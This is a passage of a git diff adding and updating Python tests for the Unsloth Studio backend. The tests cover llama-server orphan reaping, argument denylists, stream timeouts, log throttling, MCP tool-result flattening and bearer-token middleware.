@@ -346,7 +346,7 @@ def test_helper_is_static_method_callable_off_class():
 
 def test_kill_orphaned_servers_returns_count():
     """The reaper reports how many owned orphans it killed, so __init__ can
-    arm the settle wait. Only Studio-owned llama-server procs count."""
+    arm the settle wait. Only Unsloth-owned llama-server procs count."""
     import os
 
     mypid = os.getpid()
@@ -373,9 +373,10 @@ def test_kill_orphaned_servers_returns_count():
     with (
         patch.dict(sys.modules, {"psutil": fake_psutil}),
         patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+        patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
     ):
         n = LlamaCppBackend._kill_orphaned_servers()
-    assert n == 1, "only the Studio-owned orphan should be counted"
+    assert n == 1, "only the Unsloth-owned orphan should be counted"
     assert killed == [mypid + 1]
 
     # No owned orphans -> zero, so __init__ leaves the cold-start sentinel.
@@ -384,11 +385,53 @@ def test_kill_orphaned_servers_returns_count():
     with (
         patch.dict(sys.modules, {"psutil": fake_psutil}),
         patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+        patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
     ):
         assert LlamaCppBackend._kill_orphaned_servers() == 0
     assert killed == []
 
 
+def test_kill_orphaned_servers_spares_live_parent():
+    """An Unsloth-owned llama-server whose parent is still running is not an
+    orphan (a live Unsloth or the user's shell owns it) and must never be
+    killed; only the true orphan (parent gone) is reaped."""
+    import os
+
+    mypid = os.getpid()
+    fake_path = "/tmp/unsloth-test-llama/llama-server"
+    killed: list[int] = []
+
+    class _FakeProc:
+        def __init__(self, pid, name, exe):
+            self.info = {"pid": pid, "name": name, "exe": exe}
+
+        def kill(self):
+            killed.append(self.info["pid"])
+
+    live_parent = _FakeProc(mypid + 1, "llama-server", fake_path)
+    true_orphan = _FakeProc(mypid + 2, "llama-server", fake_path)
+
+    fake_psutil = _types.ModuleType("psutil")
+    fake_psutil.NoSuchProcess = type("NoSuchProcess", (Exception,), {})
+    fake_psutil.AccessDenied = type("AccessDenied", (Exception,), {})
+    fake_psutil.ZombieProcess = type("ZombieProcess", (Exception,), {})
+    fake_psutil.process_iter = lambda attrs = None: [live_parent, true_orphan]
+
+    with (
+        patch.dict(sys.modules, {"psutil": fake_psutil}),
+        patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+        patch.object(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0)),
+        patch.object(
+            LlamaCppBackend,
+            "_pid_parent_is_alive",
+            staticmethod(lambda pid: pid == mypid + 1),
+        ),
+    ):
+        n = LlamaCppBackend._kill_orphaned_servers()
+    assert n == 1, "only the true orphan should be reaped"
+    assert killed == [mypid + 2], "the live-parent server must be spared"
+
+
 def test_startup_reaper_arms_settle_timestamp():
     """__init__ arms ``_last_kill_monotonic`` when the startup reaper kills an
     orphan (so the first load_model waits for VRAM to settle), and leaves the
@@ -505,7 +548,7 @@ def test_record_then_reap_round_trip_identity_matches(tmp_path):
 
 
 def test_reap_recorded_pid_spares_live_server(tmp_path):
-    """A recorded server whose parent is still alive (the running Studio) is NEVER
+    """A recorded server whose parent is still alive (the running Unsloth) is NEVER
     reaped, and its pidfile is kept. This is the finding-3 guard: a helper backend
     constructed in-process must not kill the active chat server. Uses the REAL
     _pid_parent_is_alive (the child's parent is this live test process)."""
diff --git a/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py b/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py
index 957de4bad6..489d9eb8d1 100644
--- a/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py
+++ b/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py
@@ -3,7 +3,7 @@
 
 """Tests for the Windows pip-nvidia DLL dir resolver.
 
-Studio installs torch with bundled CUDA wheels (nvidia-cuda-runtime-cu13,
+Unsloth installs torch with bundled CUDA wheels (nvidia-cuda-runtime-cu13,
 nvidia-cublas-cu13, etc.) and the prebuilt llama-server.exe must find those
 DLLs at runtime to load CUDA. Mirrors the Linux LD_LIBRARY_PATH block.
 See unslothai/unsloth#5106.
diff --git a/studio/backend/tests/test_llama_route.py b/studio/backend/tests/test_llama_route.py
index 0ecfeee018..cc450d55cc 100644
--- a/studio/backend/tests/test_llama_route.py
+++ b/studio/backend/tests/test_llama_route.py
@@ -100,6 +100,21 @@ def test_status_response_exposes_update_size_bytes():
     assert rl.LlamaUpdateStatusResponse(**without).model_dump()["update_size_bytes"] is None
 
 
+def test_status_response_exposes_update_component():
+    model = rl.LlamaUpdateStatusResponse(
+        supported = True,
+        update_available = True,
+        llama_update_available = False,
+        update_component = "whisper",
+        whisper = {
+            "update_available": True,
+            "installed_tag": "v1",
+            "latest_tag": "v2",
+        },
+    )
+    assert model.model_dump()["update_component"] == "whisper"
+
+
 def test_status_handler_runs_off_event_loop(monkeypatch):
     seen = {}
 
diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py
index 24866bd03e..b4666e3d18 100644
--- a/studio/backend/tests/test_llama_route_timeouts.py
+++ b/studio/backend/tests/test_llama_route_timeouts.py
@@ -203,3 +203,87 @@ def test_preheader_send_cleanup_on_disconnect_and_cancel():
 
     asyncio.run(_run(False))
     asyncio.run(_run(True))
+
+
+def test_stream_stall_timeout_callable_re_resolved_each_read():
+    # The OpenAI passthrough passes a callable so the stall bound can switch to
+    # the short post-terminal grace mid-stream; it must be re-resolved per read,
+    # not captured once at generator start.
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        values = iter([100.0, 2.0])
+        seen = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _Items:
+            def __init__(self):
+                self.count = 0
+
+            async def __anext__(self):
+                self.count += 1
+                if self.count > 3:
+                    raise StopAsyncIteration
+                return "data: {}"
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Items(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 1,
+            post_first_item_read_timeout_s = lambda: next(values, 5.0),
+        ):
+            seen.append(response.request.extensions["timeout"].get("read"))
+
+        assert len(seen) == 3
+        # The callable is resolved right after the first item (arming the
+        # post-first window) and again before each later read, consuming
+        # successive values.
+        assert seen[0] == 100.0
+        assert 1.0 <= seen[1] <= 2.0
+        assert 4.0 <= seen[2] <= 5.0
+
+    asyncio.run(_run())
+
+
+def test_stream_stall_timeout_disabled_clears_read_timeout():
+    # UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT=0 disables the stall guard, so
+    # the callable returns None. Once a chunk has arrived the leftover
+    # first-token read timeout must be cleared, else a long post-first-chunk gap
+    # trips a stale deadline the operator asked to turn off.
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        seen = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _Items:
+            def __init__(self):
+                self.count = 0
+
+            async def __anext__(self):
+                self.count += 1
+                if self.count > 2:
+                    raise StopAsyncIteration
+                return "data: {}"
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Items(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 5,
+            post_first_item_read_timeout_s = lambda: None,
+        ):
+            seen.append(response.request.extensions["timeout"].get("read"))
+
+        # The first-token path armed a finite read timeout; after the first chunk
+        # with the guard disabled, it is cleared to None on every subsequent read.
+        assert seen == [None, None], seen
+
+    asyncio.run(_run())
diff --git a/studio/backend/tests/test_llama_server_args.py b/studio/backend/tests/test_llama_server_args.py
index deeb228026..fa4ba71791 100644
--- a/studio/backend/tests/test_llama_server_args.py
+++ b/studio/backend/tests/test_llama_server_args.py
@@ -75,7 +75,7 @@ validate_extra_args = _lsa.validate_extra_args
         # Reasoning controls
         ["--reasoning-format", "deepseek"],
         ["-rea", "auto"],
-        # Soft-managed: user flags last-wins over Studio's auto-set version.
+        # Soft-managed: user flags last-wins over Unsloth's auto-set version.
         # --parallel / -np / --n-parallel are hard-denied (KV-cache + slot
         # count would desync); use `unsloth studio run --parallel N` instead.
         ["-c", "131072"],
@@ -150,7 +150,7 @@ def test_non_flag_token_passes_through():
         "--mmproj",
         "-mmu",
         "--mmproj-url",
-        # Networking (Studio binds + proxies)
+        # Networking (Unsloth binds + proxies)
         "--host",
         "--port",
         "--path",
@@ -176,13 +176,15 @@ def test_non_flag_token_passes_through():
         "--models-autoload",
         "--no-models-autoload",
         # Server-mode flips: --embedding / --rerank restrict llama-server to
-        # those endpoints and break Studio's chat hop.
+        # those endpoints and break Unsloth's chat hop.
         "--embedding",
         "--embeddings",
         "--rerank",
         "--reranking",
-        # llama-server's own --tools clashes with Studio's tool policy.
+        # llama-server's own --tools clashes with Unsloth's tool policy.
         "--tools",
+        # Slot-state dir: Studio owns it for KV persistence across idle unload.
+        "--slot-save-path",
     ],
 )
 def test_denylist_rejects_all_aliases(denied):
@@ -194,7 +196,7 @@ def test_denylist_rejects_all_aliases(denied):
     "args,offending",
     [
         # Pass-through --parallel would last-wins-override the real slot
-        # count while Studio's KV-cache fit + llama_parallel_slots stay at
+        # count while Unsloth's KV-cache fit + llama_parallel_slots stay at
         # the typer value -- plan vs. process disagree.
         (["--parallel", "8"], "--parallel"),
         (["--parallel=8"], "--parallel"),
@@ -224,6 +226,16 @@ def test_denylist_rejects_equals_form():
         validate_extra_args(["--port=9000"])
 
 
+def test_slot_save_path_is_managed_in_all_forms():
+    for args in (["--slot-save-path", "/tmp/x"], ["--slot-save-path=/tmp/x"], ["--slot-save-path"]):
+        with pytest.raises(ValueError, match = "--slot-save-path"):
+            validate_extra_args(args)
+    assert is_managed_flag("--slot-save-path") is True
+    assert is_managed_flag("--slot-save-path=/tmp/x") is True
+    # --slots (read-only diagnostics endpoint) stays a user choice.
+    assert is_managed_flag("--slots") is False
+
+
 @pytest.mark.parametrize(
     "padded",
     [" --parallel", "--parallel ", "\t--parallel", "  -np", "-np \n", "-np\t"],
@@ -656,7 +668,7 @@ def test_extra_args_disable_mmproj_last_wins():
 
 
 def test_strip_shadowing_flags_drops_model_draft_with_spec():
-    # --model-draft (and aliases) are Studio-managed since the separate
+    # --model-draft (and aliases) are Unsloth-managed since the separate
     # MTP drafter support: an inherited copy must not last-wins-override
     # the auto-detected drafter.
     out = strip_shadowing_flags(
@@ -681,7 +693,7 @@ def test_strip_shadowing_flags_drops_model_draft_with_spec():
 )
 def test_strip_shadowing_flags_drops_hf_drafter_selectors_with_spec(selector):
     # HF drafter selectors must reset on inherit like local --model-draft, or a
-    # stale inherited HF drafter last-wins over Studio's re-derived spec choice.
+    # stale inherited HF drafter last-wins over Unsloth's re-derived spec choice.
     out = strip_shadowing_flags(
         selector + ["--top-k", "20"],
         strip_context = False,
@@ -747,6 +759,34 @@ def test_strip_shadowing_flags_defaults_strip_split_mode_too():
     assert strip_shadowing_flags(["--split-mode", "tensor"]) == []
 
 
+def test_strip_offload_is_opt_in_and_covers_moe():
+    base = dict(
+        strip_context = False,
+        strip_cache = False,
+        strip_spec = False,
+        strip_template = False,
+        strip_split_mode = False,
+    )
+    # Default: offload (incl. MoE) flags are NOT stripped.
+    assert strip_shadowing_flags(["--n-cpu-moe", "8", "--top-k", "20"], **base) == [
+        "--n-cpu-moe",
+        "8",
+        "--top-k",
+        "20",
+    ]
+    # Opt-in strips layer AND MoE offload flags (value-aware), keeps the rest.
+    assert strip_shadowing_flags(
+        ["--n-cpu-moe", "8", "--gpu-layers", "33", "--fit", "off", "--top-k", "20"],
+        **base,
+        strip_offload = True,
+    ) == ["--top-k", "20"]
+    # Boolean --cpu-moe drops the flag only, not the following value.
+    assert strip_shadowing_flags(["--cpu-moe", "--seed", "-1"], **base, strip_offload = True) == [
+        "--seed",
+        "-1",
+    ]
+
+
 @pytest.mark.parametrize(
     "args",
     [
@@ -769,7 +809,7 @@ def test_strip_split_mode_only_preserves_none_and_empty():
 
 def test_strip_shadowing_flags_drops_tensor_split_with_split_mode():
     # --tensor-split is coupled to the split mode: stripped together so a stale
-    # ratio can't override Studio's computed tensor split. Other flags survive.
+    # ratio can't override Unsloth's computed tensor split. Other flags survive.
     out = strip_shadowing_flags(
         ["--split-mode", "row", "--tensor-split", "1,1", "--top-k", "20"],
         strip_context = False,
@@ -796,6 +836,23 @@ def test_strip_split_mode_only_drops_tensor_split_too():
     assert strip_split_mode_only(["-sm=tensor", "-ts=3,1"]) == []
 
 
+def test_strip_tensor_split_alone_preserves_split_mode():
+    # Manual mode emits its own --tensor-split, so an inherited ratio is dropped
+    # -- but the user's --split-mode row/none/layer choice (which the manual
+    # ratio toggle can't express) must survive. strip_tensor_split removes only
+    # the ratio, unlike strip_split_mode which removes the whole group.
+    out = strip_shadowing_flags(
+        ["--split-mode", "row", "--tensor-split", "1,1", "--top-k", "20"],
+        strip_context = False,
+        strip_cache = False,
+        strip_spec = False,
+        strip_template = False,
+        strip_split_mode = False,
+        strip_tensor_split = True,
+    )
+    assert out == ["--split-mode", "row", "--top-k", "20"]
+
+
 def test_strip_shadowing_flags_keeps_model_draft_without_spec():
     out = strip_shadowing_flags(
         ["--model-draft", "/custom/mtp.gguf"],
diff --git a/studio/backend/tests/test_load_progress_throttle.py b/studio/backend/tests/test_load_progress_throttle.py
new file mode 100644
index 0000000000..bc839b17b8
--- /dev/null
+++ b/studio/backend/tests/test_load_progress_throttle.py
@@ -0,0 +1,48 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The /api/inference/load-progress throttle: one line per 10% step, reset per load."""
+
+import pytest
+
+import routes.inference as ri
+
+
+class _Capture:
+    def __init__(self):
+        self.events = []
+
+    def info(self, event, **kw):
+        self.events.append((event, kw))
+
+
+@pytest.fixture
+def cap(monkeypatch):
+    capture = _Capture()
+    monkeypatch.setattr(ri, "logger", capture)
+    ri._reset_load_progress_step()
+    return capture
+
+
+def _percents(cap):
+    return [kw["percent"] for _event, kw in cap.events]
+
+
+def test_new_load_first_step_logs_after_reset(cap):
+    # Load A reaches 100%.
+    ri._log_load_progress_step(1.0, "ready")
+    assert _percents(cap) == [100]
+    # Same value keeps deduping (steady poll on a finished load stays quiet).
+    ri._log_load_progress_step(1.0, "ready")
+    assert _percents(cap) == [100]
+    # A new load arms the throttle, so a cached load B that reports 100% on its
+    # first poll still emits its progress line instead of hitting step == prev.
+    ri._reset_load_progress_step()
+    ri._log_load_progress_step(1.0, "ready")
+    assert _percents(cap) == [100, 100]
+
+
+def test_steady_poll_dedups_within_a_load(cap):
+    for _ in range(3):
+        ri._log_load_progress_step(0.3, "mmap")
+    assert _percents(cap) == [30]  # one line per 10% step, not one per poll
diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py
index c78c029d91..79c9977c84 100644
--- a/studio/backend/tests/test_local_llama_cpp_link.py
+++ b/studio/backend/tests/test_local_llama_cpp_link.py
@@ -4,7 +4,7 @@
 """Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract.
 
 When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a
-user's own checkout, Studio must treat it as externally managed:
+user's own checkout, Unsloth must treat it as externally managed:
   - the in-app updater must not offer or apply a prebuilt over the link
   - orphan cleanup must not kill a llama-server the user launched from that tree
 
@@ -21,6 +21,13 @@ from utils import llama_cpp_update as u
 from core.inference.llama_cpp import LlamaCppBackend
 
 
+@pytest.fixture(autouse = True)
+def _no_whisper_piggyback(monkeypatch):
+    # Keep the whisper piggyback probe off the host: these tests exercise the
+    # llama local-link contract only.
+    monkeypatch.setattr(u, "_whisper_chain_status", lambda **kwargs: None)
+
+
 def _make_link(link: Path, target: Path) -> None:
     """Create a directory junction (Windows) / symlink (POSIX); neither needs
     elevation."""
@@ -67,7 +74,7 @@ def test_active_install_is_local_link(tmp_path: Path) -> None:
     binary = str(link / _server_subpath())
     assert u._active_install_is_local_link(binary) is True
 
-    # A plain (non-link) llama.cpp dir is Studio-managed, not a local link.
+    # A plain (non-link) llama.cpp dir is Unsloth-managed, not a local link.
     plain = tmp_path / "plain" / "llama.cpp"
     plain.mkdir(parents = True)
     assert u._active_install_is_local_link(str(plain / _server_subpath())) is False
diff --git a/studio/backend/tests/test_logging_middleware.py b/studio/backend/tests/test_logging_middleware.py
index 89061a5cbd..d59e4dbee2 100644
--- a/studio/backend/tests/test_logging_middleware.py
+++ b/studio/backend/tests/test_logging_middleware.py
@@ -135,7 +135,7 @@ def test_duplicate_get_within_window_deduped(logs, monkeypatch):
 
     mw = LoggingMiddleware(app)
     for _ in range(3):
-        _run(mw(_http_scope("/api/chat/projects"), _noop_receive, send))
+        _run(mw(_http_scope("/api/models/browse-folders"), _noop_receive, send))
 
     # Only the first of the identical GET/200 burst is logged.
     assert len(logs.events) == 1
@@ -183,11 +183,11 @@ def test_quiet_poll_paths_use_longer_heartbeat_window(logs, monkeypatch):
     for _ in range(3):
         _run(mw(_http_scope("/api/inference/monitor"), _noop_receive, send))  # quiet
     for _ in range(3):
-        _run(mw(_http_scope("/api/chat/projects"), _noop_receive, send))  # normal
+        _run(mw(_http_scope("/api/models/browse-folders"), _noop_receive, send))  # normal
 
     paths = [e[2]["path"] for e in logs.events]
     assert paths.count("/api/inference/monitor") == 1  # collapsed to one heartbeat
-    assert paths.count("/api/chat/projects") == 3  # base dedup off -> all logged
+    assert paths.count("/api/models/browse-folders") == 3  # base dedup off -> all logged
 
 
 def test_distinct_query_strings_are_not_deduped(logs, monkeypatch):
@@ -242,3 +242,118 @@ def test_fastapi_static_asset_success_skips_log(tmp_path, logs):
     assert response.status_code == 200
     assert response.text == "body { color: black; }"
     assert len(logs.events) == log_count
+
+
+def _status_app(status):
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": status, "headers": []})
+        await send({"type": "http.response.body", "body": b""})
+
+    return app
+
+
+async def _drop(message):
+    pass
+
+
+def _paths_logged(logs):
+    return [e[2]["path"] for e in logs.events]
+
+
+def test_quiet_success_get_2xx_suppressed(logs):
+    # A GET/2xx poll on a quiet-success path logs nothing; the signal is in events.
+    for path in ("/api/chat/threads", "/api/export/status", "/api/hub/download-status"):
+        _run(LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop))
+    assert logs.events == []
+
+
+def test_chat_detail_and_message_reads_still_log(logs):
+    # Only the exact list polls are suppressed; detail/message reads carry latency
+    # signal and keep their access line.
+    for path in (
+        "/api/chat/threads/abc123",
+        "/api/chat/threads/abc123/messages",
+        "/api/chat/threads/abc123/messages/m1",
+        "/api/chat/projects/p1",
+    ):
+        _run(LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop))
+    assert _paths_logged(logs) == [
+        "/api/chat/threads/abc123",
+        "/api/chat/threads/abc123/messages",
+        "/api/chat/threads/abc123/messages/m1",
+        "/api/chat/projects/p1",
+    ]
+
+
+def test_quiet_success_is_get_only(logs):
+    # Mutations on the same paths still log (suppression is GET-only).
+    for method in ("POST", "PUT", "DELETE"):
+        _run(
+            LoggingMiddleware(_status_app(200))(
+                _http_scope("/api/chat/threads", method = method), _noop_receive, _drop
+            )
+        )
+    assert len(logs.events) == 3
+
+
+def test_chat_pre_auth_401_suppressed_other_errors_logged(logs):
+    # The transient bootstrap 401 on a chat list GET is dropped, but a 500 (or any
+    # other status) still logs so real failures stay visible.
+    _run(
+        LoggingMiddleware(_status_app(401))(_http_scope("/api/chat/projects"), _noop_receive, _drop)
+    )
+    assert logs.events == []
+    _run(
+        LoggingMiddleware(_status_app(500))(_http_scope("/api/chat/projects"), _noop_receive, _drop)
+    )
+    assert _paths_logged(logs) == ["/api/chat/projects"]
+
+
+def test_chat_401_logged_after_first_auth_refresh(logs):
+    # A chat 401 before any successful token refresh is the bootstrap race and is
+    # dropped, but once /api/auth/refresh has succeeded on this instance later chat
+    # 401s are real failures and stay visible.
+    responses: dict[tuple[str, str], int] = {}
+
+    async def app(scope, receive, send):
+        status = responses.get((scope["method"], scope["path"]), 200)
+        await send({"type": "http.response.start", "status": status, "headers": []})
+        await send({"type": "http.response.body", "body": b""})
+
+    mw = LoggingMiddleware(app)
+
+    responses[("GET", "/api/chat/threads")] = 401
+    _run(mw(_http_scope("/api/chat/threads"), _noop_receive, _drop))
+    assert logs.events == []  # bootstrap race: suppressed
+
+    # A successful refresh (POST, always logged) closes the bootstrap window.
+    responses[("POST", "/api/auth/refresh")] = 200
+    _run(mw(_http_scope("/api/auth/refresh", method = "POST"), _noop_receive, _drop))
+    assert _paths_logged(logs) == ["/api/auth/refresh"]
+
+    # Now the same chat 401 is a real failure and logs.
+    _run(mw(_http_scope("/api/chat/threads"), _noop_receive, _drop))
+    assert _paths_logged(logs) == ["/api/auth/refresh", "/api/chat/threads"]
+
+
+def test_export_status_error_still_logs(logs):
+    # 2xx suppressed, but an HTTP-level error on export status remains visible.
+    _run(
+        LoggingMiddleware(_status_app(200))(_http_scope("/api/export/status"), _noop_receive, _drop)
+    )
+    assert logs.events == []
+    _run(
+        LoggingMiddleware(_status_app(500))(_http_scope("/api/export/status"), _noop_receive, _drop)
+    )
+    assert _paths_logged(logs) == ["/api/export/status"]
+
+
+def test_legacy_download_progress_heartbeats_not_suppressed(logs, monkeypatch):
+    # Legacy /api/models download polls emit no progress events, so they heartbeat
+    # (first hit logs, the burst collapses) rather than vanish entirely.
+    monkeypatch.setattr(hmod, "_ACCESS_LOG_DEDUP_MS", 0)
+    monkeypatch.setattr(hmod, "_QUIET_POLL_DEDUP_MS", 1000)
+    mw = LoggingMiddleware(_status_app(200))
+    for _ in range(3):
+        _run(mw(_http_scope("/api/models/download-progress"), _noop_receive, _drop))
+    assert _paths_logged(logs) == ["/api/models/download-progress"]
diff --git a/studio/backend/tests/test_mcp_flatten_result.py b/studio/backend/tests/test_mcp_flatten_result.py
new file mode 100644
index 0000000000..7daee799f9
--- /dev/null
+++ b/studio/backend/tests/test_mcp_flatten_result.py
@@ -0,0 +1,177 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import contextlib
+import json
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference import mcp_client
+from core.inference.mcp_client import (
+    MAX_IMAGE_PAYLOAD_CHARS,
+    MCP_IMAGES_SENTINEL,
+    _flatten_result,
+    call_tool_sync,
+)
+from core.inference.tool_loop_controller import is_tool_error, strip_result_for_model
+
+PNG_B64 = "iVBORw0KGgoAAAANSUhEUg=="
+
+
+def _text(value: str) -> SimpleNamespace:
+    return SimpleNamespace(type = "text", text = value)
+
+
+def _image(data: str = PNG_B64, mime: str = "image/png") -> SimpleNamespace:
+    return SimpleNamespace(type = "image", data = data, mimeType = mime)
+
+
+def _result(
+    *blocks,
+    is_error = False,
+    structured = None,
+) -> SimpleNamespace:
+    return SimpleNamespace(
+        content = list(blocks),
+        is_error = is_error,
+        structured_content = structured,
+    )
+
+
+def test_text_only_result_unchanged():
+    assert _flatten_result(_result(_text("hello"))) == "hello"
+
+
+def test_image_only_result_keeps_image_and_notes_model():
+    flat = _flatten_result(_result(_image()))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert body == "[1 image attached; displayed to the user]"
+    assert json.loads(payload) == [{"data": PNG_B64, "mimeType": "image/png"}]
+
+
+def test_text_plus_image_keeps_both():
+    flat = _flatten_result(_result(_text("Took a screenshot"), _image()))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert body == "Took a screenshot\n[1 image attached; displayed to the user]"
+    assert json.loads(payload)[0]["mimeType"] == "image/png"
+
+
+def test_multiple_images_pluralized():
+    flat = _flatten_result(_result(_image(), _image(mime = "image/jpeg")))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert "[2 images attached; displayed to the user]" in body
+    assert [img["mimeType"] for img in json.loads(payload)] == ["image/png", "image/jpeg"]
+
+
+def test_strip_result_for_model_drops_image_payload():
+    flat = _flatten_result(_result(_text("Took a screenshot"), _image()))
+    stripped = strip_result_for_model(flat)
+    assert stripped == "Took a screenshot\n[1 image attached; displayed to the user]"
+    assert PNG_B64 not in stripped
+
+
+def test_strip_preserves_literal_mcp_sentinel_in_text():
+    # A tool that legitimately returns text containing the marker (e.g. reading
+    # source/docs that quote it) must not be truncated: the suffix is not a
+    # valid JSON image array.
+    text = "before\n__MCP_IMAGES__: literal from source\nafter"
+    assert strip_result_for_model(text) == text
+
+
+def test_strip_preserves_non_image_json_after_marker():
+    text = 'log line\n__MCP_IMAGES__:["not", "image", "dicts"]'
+    assert strip_result_for_model(text) == text
+
+
+def test_strip_removes_only_valid_terminal_envelope():
+    text = (
+        "Earlier mention: __MCP_IMAGES__: is documented here"
+        "\n[1 image attached; displayed to the user]"
+        '\n__MCP_IMAGES__:[{"data": "AAAA", "mimeType": "image/png"}]'
+    )
+    assert strip_result_for_model(text) == (
+        "Earlier mention: __MCP_IMAGES__: is documented here"
+        "\n[1 image attached; displayed to the user]"
+    )
+
+
+def test_strip_still_handles_images_and_rag_sentinels():
+    assert strip_result_for_model("output\n__IMAGES__:['a.png']") == "output"
+    assert strip_result_for_model("answer\n__RAG_SOURCES__:[{}]") == "answer"
+
+
+def test_error_result_keeps_error_prefix_and_images():
+    flat = _flatten_result(_result(_text("boom"), _image(), is_error = True))
+    assert flat.startswith("Error: boom")
+    assert is_tool_error(flat)
+    assert MCP_IMAGES_SENTINEL in flat
+
+
+def test_image_only_error_no_longer_reports_no_content():
+    flat = _flatten_result(_result(_image(), is_error = True))
+    assert flat.startswith("Error: [1 image attached")
+    assert "tool returned no content" not in flat
+
+
+def test_oversized_image_omitted_with_note():
+    huge = "A" * (MAX_IMAGE_PAYLOAD_CHARS + 1)
+    flat = _flatten_result(_result(_image(data = huge)))
+    assert flat == "[1 image omitted (too large)]"
+    assert MCP_IMAGES_SENTINEL not in flat
+
+
+def test_oversized_budget_shared_across_images():
+    big = "A" * (MAX_IMAGE_PAYLOAD_CHARS - 10)
+    flat = _flatten_result(_result(_image(data = big), _image()))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert "1 image attached" in body
+    assert "1 image omitted (too large)" in body
+    images = json.loads(payload)
+    assert len(images) == 1 and images[0]["data"] == big
+
+
+def test_non_image_binary_block_still_ignored():
+    flat = _flatten_result(
+        _result(SimpleNamespace(type = "audio", data = PNG_B64, mimeType = "audio/wav"))
+    )
+    assert flat == ""
+
+
+def test_structured_content_fallback_still_used():
+    flat = _flatten_result(_result(structured = {"ok": True}))
+    assert flat == "{'ok': True}"
+
+
+def test_call_tool_sync_passes_raise_on_error_false_and_keeps_error_images(monkeypatch):
+    # Guards that call_tool_sync passes raise_on_error=False, so an is_error result
+    # with image content reaches _flatten_result instead of FastMCP raising ToolError.
+    seen = {}
+
+    class _FakeClient:
+        async def call_tool(
+            self,
+            name,
+            args,
+            raise_on_error = True,
+        ):
+            seen["raise_on_error"] = raise_on_error
+            return _result(_text("boom"), _image(), is_error = True)
+
+    @contextlib.asynccontextmanager
+    async def _fake_client(url, headers, use_oauth):
+        yield _FakeClient()
+
+    monkeypatch.setattr(mcp_client, "_client", _fake_client)
+    out = call_tool_sync("http://x", None, "take_screenshot", {})
+
+    assert seen["raise_on_error"] is False
+    assert out.startswith("Error: boom")
+    assert MCP_IMAGES_SENTINEL in out
+    assert is_tool_error(out)
diff --git a/studio/backend/tests/test_mcp_server.py b/studio/backend/tests/test_mcp_server.py
new file mode 100644
index 0000000000..71792605ae
--- /dev/null
+++ b/studio/backend/tests/test_mcp_server.py
@@ -0,0 +1,290 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import asyncio
+import sys
+import types
+
+import pytest
+
+from mcp_server import BearerTokenMiddleware, _clamp, _dump, create_studio_mcp
+
+
+def _get_tool(name):
+    tools = asyncio.run(create_studio_mcp().list_tools())
+    return {tool.name: tool for tool in tools}[name]
+
+
+def test_studio_mcp_registers_control_plane_tools():
+    tools = asyncio.run(create_studio_mcp().list_tools())
+
+    assert {tool.name for tool in tools} == {
+        "studio_status",
+        "list_local_models",
+        "get_training_status",
+        "start_training",
+        "stop_training",
+        "list_training_runs",
+        "validate_recipe",
+        "get_recipe_job_status",
+        "get_recipe_job_dataset",
+        "load_checkpoint",
+        "export_gguf",
+    }
+
+
+def test_dump_serializes_pydantic_values():
+    class Response:
+        def model_dump(self, *, mode):
+            assert mode == "json"
+            return {"ok": True}
+
+    assert _dump(Response()) == {"ok": True}
+    assert _dump({"already": "json"}) == {"already": "json"}
+
+
+def test_bearer_token_middleware_rejects_wrong_token():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "http", "headers": [(b"authorization", b"Bearer wrong")]},
+            None,
+            send,
+        )
+    )
+
+    assert events[0]["status"] == 401
+    assert "app" not in events
+
+
+def test_bearer_token_middleware_closes_unauthorized_websocket():
+    events = []
+
+    async def app(scope, receive, send):
+        events.append("app")
+
+    async def send(message):
+        events.append(message)
+
+    middleware = BearerTokenMiddleware(app, "secret")
+    asyncio.run(
+        middleware(
+            {"type": "websocket", "headers": []},
